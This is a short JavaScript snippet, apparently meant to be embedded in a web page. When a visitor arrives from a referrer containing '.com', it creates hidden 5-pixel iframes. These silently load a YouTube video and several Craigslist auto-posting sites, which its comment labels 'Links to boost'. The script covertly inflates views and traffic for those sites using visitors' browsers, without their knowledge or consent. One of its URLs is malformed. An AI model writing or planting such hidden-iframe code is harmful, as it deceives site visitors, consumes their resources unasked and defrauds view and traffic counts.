// JavaScript Document
<script type="text/javascript">
    var sLocation = document.referrer.toLocaleLowerCase();
    //Links to boost
    var rDomains = ["http://www.youtube.com/watch?v=Vjqys0dEP18","http://www.craigslistpostingtool.com","http://http://www.thecraigslistautoposter.com/","http://www.oneautoposter.com","http://www.thecraigslistsoftware.com", "http://www.thecraigslistpostingsoftware.com","http://www.mycraigslistadposter.com"];
    //Allowed domain referrer
    var aDomains = [".com"];
    var valid = 0;

    //Valid referrer
    for (i=0;i<aDomains.length;i++) {
        //Check referrer
        if (sLocation.indexOf(aDomains[i], 0) > -1) 
        {
            valid = 1;
            break;
        }
    }

    //Valid referrer
    if (valid == 1) 
    {
        //Loop
        for (i=0;i<rDomains.length;i++) {
            //alert(rDomains[i]);
            invisibleWindow("mydiv" + i,rDomains[i]);
        }
    }

    function invisibleWindow(iframeID, url) {
        divel = document.createElement("div");
        divel.id = "div" + iframeID;
        divel.style.width = "5px"; 
        divel.style.height = "5px";
        divel.style.visibility = "hidden";

        //Add div
        document.body.appendChild(divel);

        domiframe = document.createElement("iframe");
        domiframe.id = iframeID; 
        domiframe.src = url;
        domiframe.style.width = "5px"; 
        domiframe.style.height = "5px";
        domiframe.style.visibility = "hidden";

        var divid = document.getElementById("div" + iframeID);
        divid.appendChild(domiframe);
    }

</script>